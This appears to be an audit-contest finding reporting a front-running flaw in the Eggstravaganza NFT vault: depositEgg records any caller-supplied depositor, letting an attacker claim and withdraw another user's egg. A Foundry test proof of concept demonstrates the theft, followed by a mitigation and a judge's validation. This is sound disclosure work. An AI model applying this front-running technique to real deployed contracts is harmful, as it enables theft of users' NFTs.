Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Depositor verification vulnerability leading to an attacker can front-run the deposit call and steal NFT.

**Description:** The `depositEgg` function takes an arbitrary depositor address as a parameter. Because it does not check that the provided depositor equals msg.sender, a malicious actor could register a deposit on behalf of any address. While the NFT must first be transferred to the vault, this flexibility allows one to "misrepresent" the depositor. While `withdrawEgg` ensures that only the account recorded as depositor can withdraw, the vulnerability arises from the ability of an attacker to manipulate who is recorded as the depositor by calling `depositEgg` first.
**Impact:** An attacker can front-run the deposit call, record themselves as the depositor, and then later call `withdrawEgg` to withdraw the NFT — even if they never were the original owner who transferred it to the vault.
**Proof of Concept:** Include the following test in the `EggHuntGameTest.t.sol` file:
```solidity
function testAttackerCanManipulateDepositor() public {
uint256 tokenId = 1;
// Mint an egg to the vault
vm.prank(address(game));
nft.mintEgg(address(alice), tokenId);
// Check that nft is owned by alice.
assertEq(nft.ownerOf(tokenId), alice);
// Alice transfers the NFT to the vault to deposit it.
vm.prank(alice);
nft.transferFrom(alice, address(vault), tokenId);
// At this point, specified nft is owned by the vault but no depositor is recorded.
// The legitimate depositor (alice) plans to call depositEgg,
// but before this, the attacker (bob) front-runs and calls depositEgg.
vm.prank(bob);
vault.depositEgg(tokenId, bob); // Attacker sets depositor arbitrarily
// Now, if the legitimate user (alice) attempts to deposit, it will revert.
vm.prank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(tokenId, alice);
// As the attacker (bob) is recorded as the depositor, he can now withdraw the NFT.
vm.prank(bob);
vault.withdrawEgg(tokenId);
// Check that the attacker has become the new owner of the NFT.
address newOwner = nft.ownerOf(tokenId);
assertEq(newOwner, bob);
}
```
**Recommended Mitigation:** Modify `depositEgg` function to ensure that the depositor is accurately and securely recorded (e.g., by requiring depositor == msg.sender) or make the `depositEgg` function restricted to be callable only by a trusted contract, such as `EggHuntGame` so that only the rightful party can record themselves as the depositor.
Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.